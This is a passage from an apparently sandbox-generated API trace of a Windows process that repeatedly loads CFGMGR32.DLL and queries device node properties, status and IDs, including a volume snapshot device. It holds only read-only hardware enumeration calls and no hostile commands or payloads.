lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0187.966] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0187.966] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0187.967] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0187.967] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0187.967] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0187.967] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0187.967] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0187.967] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0187.967] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0187.968] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0187.968] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0187.968] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0187.968] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0187.968] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0187.968] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0187.968] malloc (_Size=0x18) returned 0x196ef0d1980 [0187.969] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x21, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0187.969] malloc (_Size=0x18) returned 0x196ef0d1b00 [0187.969] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x21, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d1b00, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d1b00, pulLength=0x67117d608) returned 0x0 [0187.969] free (_Block=0x196ef0d1b00) [0187.969] malloc (_Size=0x48) returned 0x196ef0fba40 [0187.969] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x50e37c46, dwHighDateTime=0x1d9eb0c)) [0187.969] SetEvent (hEvent=0x248) returned 1 [0187.972] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0187.972] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee79a5a8) returned 0x0 [0187.972] free (_Block=0x196ef0d1cc0) [0187.972] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee8568e0 [0187.972] SafeArrayGetDim (psa=0x196ee7bee20) returned 0x1 [0187.972] SafeArrayGetLBound (in: psa=0x196ee7bee20, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0187.972] SafeArrayGetUBound (in: psa=0x196ee7bee20, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0187.972] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b65f0 [0187.972] SafeArrayGetDim (psa=0x196ee7bee20) returned 0x1 [0187.972] SafeArrayGetUBound (in: psa=0x196ee7bee20, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0187.972] SafeArrayGetElemsize (psa=0x196ee7bee20) returned 0x8 [0187.972] SafeArrayGetElement (in: psa=0x196ee7bee20, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0187.973] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225d10, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0187.973] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b65f0) returned 1 [0187.974] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee8568e0) returned 1 [0187.974] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0187.974] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0187.974] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0187.974] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0187.974] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0187.975] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0187.975] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0187.975] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0187.975] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0187.975] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0187.975] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0187.975] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0187.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0187.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0187.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0187.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0187.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0187.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0187.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0187.977] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0187.977] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0187.977] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0187.977] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0187.977] malloc (_Size=0x18) returned 0x196ef0d1f40 [0187.977] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x21, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0187.977] malloc (_Size=0x48) returned 0x196ef0fbbd0 [0187.977] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x50e5d521, dwHighDateTime=0x1d9eb0c)) [0187.978] SetEvent (hEvent=0x248) returned 1 [0188.084] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0188.084] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0188.084] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0188.084] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0188.084] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0188.085] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0188.085] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0188.085] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0188.085] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0188.085] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0188.085] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0188.085] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0188.086] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0188.086] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0188.086] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0188.086] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0188.086] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0188.086] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0188.086] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0188.087] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0188.087] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0188.087] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0188.087] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0188.087] malloc (_Size=0x18) returned 0x196ef0d1be0 [0188.087] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x21, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0188.092] malloc (_Size=0x48) returned 0x196ef0fb220 [0188.092] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x50f68968, dwHighDateTime=0x1d9eb0c)) [0188.092] SetEvent (hEvent=0x248) returned 1 [0188.093] SetEvent (hEvent=0x248) returned 1 [0188.093] free (_Block=0x196ef0fb220) [0188.093] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x21, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0188.094] malloc (_Size=0x48) returned 0x196ef0fb680 [0188.094] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x50f68968, dwHighDateTime=0x1d9eb0c)) [0188.094] SetEvent (hEvent=0x248) returned 1 [0188.095] SetEvent (hEvent=0x248) returned 1 [0188.095] free (_Block=0x196ef0fb680) [0188.095] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x21, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0188.096] malloc (_Size=0x48) returned 0x196ef0fba40 [0188.096] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x50f8e82d, dwHighDateTime=0x1d9eb0c)) [0188.096] SetEvent (hEvent=0x248) returned 1 [0188.097] SetEvent (hEvent=0x248) returned 1 [0188.097] free (_Block=0x196ef0fba40) [0188.097] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x21, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0188.098] malloc (_Size=0x48) returned 0x196ef0fb4f0 [0188.098] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x50f8e82d, dwHighDateTime=0x1d9eb0c)) [0188.098] SetEvent (hEvent=0x248) returned 1 [0188.101] SetEvent (hEvent=0x248) returned 1 [0188.101] free (_Block=0x196ef0fb4f0) [0188.101] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x21, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0188.103] malloc (_Size=0x48) returned 0x196ef0fb720 [0188.103] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x50f8e82d, dwHighDateTime=0x1d9eb0c)) [0188.103] SetEvent (hEvent=0x248) returned 1 [0188.104] SetEvent (hEvent=0x248) returned 1 [0188.105] free (_Block=0x196ef0fb720) [0188.105] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x21, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0188.105] malloc (_Size=0x48) returned 0x196ef0fb540 [0188.105] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x50f8e82d, dwHighDateTime=0x1d9eb0c)) [0188.105] SetEvent (hEvent=0x248) returned 1 [0188.107] SetEvent (hEvent=0x248) returned 1 [0188.108] free (_Block=0x196ef0fb540) [0188.108] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x21, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0188.108] malloc (_Size=0x48) returned 0x196ef0fbd10 [0188.108] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x50f8e82d, dwHighDateTime=0x1d9eb0c)) [0188.108] SetEvent (hEvent=0x248) returned 1 [0188.109] SetEvent (hEvent=0x248) returned 1 [0188.109] free (_Block=0x196ef0fbd10) [0188.110] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x21, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0188.110] malloc (_Size=0x48) returned 0x196ef0fbe00 [0188.110] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x50f8e82d, dwHighDateTime=0x1d9eb0c)) [0188.110] SetEvent (hEvent=0x248) returned 1 [0188.112] SetEvent (hEvent=0x248) returned 1 [0188.112] free (_Block=0x196ef0fbe00) [0188.113] CM_Get_Device_IDA (in: dnDevInst=0x22, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="STORAGE\\VOLUMESNAPSHOT\\HARDDISKVOLUMESNAPSHOT1") returned 0x0 [0188.113] malloc (_Size=0x48) returned 0x196ef0fc080 [0188.113] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x50fb4acc, dwHighDateTime=0x1d9eb0c)) [0188.113] SetEvent (hEvent=0x248) returned 1 [0188.114] SetEvent (hEvent=0x248) returned 1 [0188.114] free (_Block=0x196ef0fc080) [0188.114] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x22, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0188.114] malloc (_Size=0x30) returned 0x196ef0d1690 [0188.114] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x22, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d1690, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d1690, pulLength=0x67117d608) returned 0x0 [0188.115] free (_Block=0x196ef0d1690) [0188.115] malloc (_Size=0x48) returned 0x196ef0fb360 [0188.115] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x50fb4acc, dwHighDateTime=0x1d9eb0c)) [0188.116] SetEvent (hEvent=0x248) returned 1 [0188.116] malloc (_Size=0x18) returned 0x196ef0d1c80 [0188.116] SafeArrayPutElement (psa=0x196ee7bf920, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0188.116] free (_Block=0x196ef0d1c80) [0188.116] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855360 [0188.116] SafeArrayGetDim (psa=0x196ee7bf920) returned 0x1 [0188.116] SafeArrayGetLBound (in: psa=0x196ee7bf920, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0188.116] SafeArrayGetUBound (in: psa=0x196ee7bf920, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0188.116] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6050 [0188.116] SafeArrayGetDim (psa=0x196ee7bf920) returned 0x1 [0188.116] SafeArrayGetUBound (in: psa=0x196ee7bf920, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0188.116] SafeArrayGetElemsize (psa=0x196ee7bf920) returned 0x8 [0188.117] SafeArrayGetElement (in: psa=0x196ee7bf920, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0188.117] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225c10, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0188.117] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6050) returned 1 [0188.118] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855360) returned 1 [0188.118] SetEvent (hEvent=0x248) returned 1 [0188.119] free (_Block=0x196ef0fb360) [0188.119] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x22, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0188.119] malloc (_Size=0x48) returned 0x196ef0fc170 [0188.119] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x50fb4acc, dwHighDateTime=0x1d9eb0c)) [0188.119] SetEvent (hEvent=0x248) returned 1 [0188.119] SetEvent (hEvent=0x248) returned 1 [0188.120] free (_Block=0x196ef0fc170) [0188.120] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x22, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0188.262] malloc (_Size=0x48) returned 0x196ef0fb4f0 [0188.262] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5110c35e, dwHighDateTime=0x1d9eb0c)) [0188.262] SetEvent (hEvent=0x248) returned 1 [0188.265] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0188.265] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0188.265] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0188.265] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0188.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0188.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0188.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0188.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0188.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0188.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0188.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0188.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0188.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0188.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0188.268] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0188.268] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0188.268] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0188.268] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0188.268] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0188.268] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0188.268] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0188.269] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0188.269] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0188.269] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0188.269] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x22, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0188.269] malloc (_Size=0x48) returned 0x196ef0fb6d0 [0188.269] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5113238a, dwHighDateTime=0x1d9eb0c)) [0188.269] SetEvent (hEvent=0x248) returned 1 [0188.272] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0188.272] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0188.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0188.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0188.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0188.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0188.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0188.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0188.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0188.274] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0188.274] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0188.274] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0188.274] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0188.274] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0188.274] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0188.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0188.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0188.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0188.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0188.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0188.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0188.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0188.276] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0188.276] malloc (_Size=0x18) returned 0x196ef0d1c80 [0188.276] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x22, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0188.276] malloc (_Size=0x48) returned 0x196ef0fc030 [0188.276] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5113238a, dwHighDateTime=0x1d9eb0c)) [0188.277] SetEvent (hEvent=0x248) returned 1 [0188.279] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0188.279] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0188.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0188.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0188.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0188.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0188.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0188.280] GetProcAddress 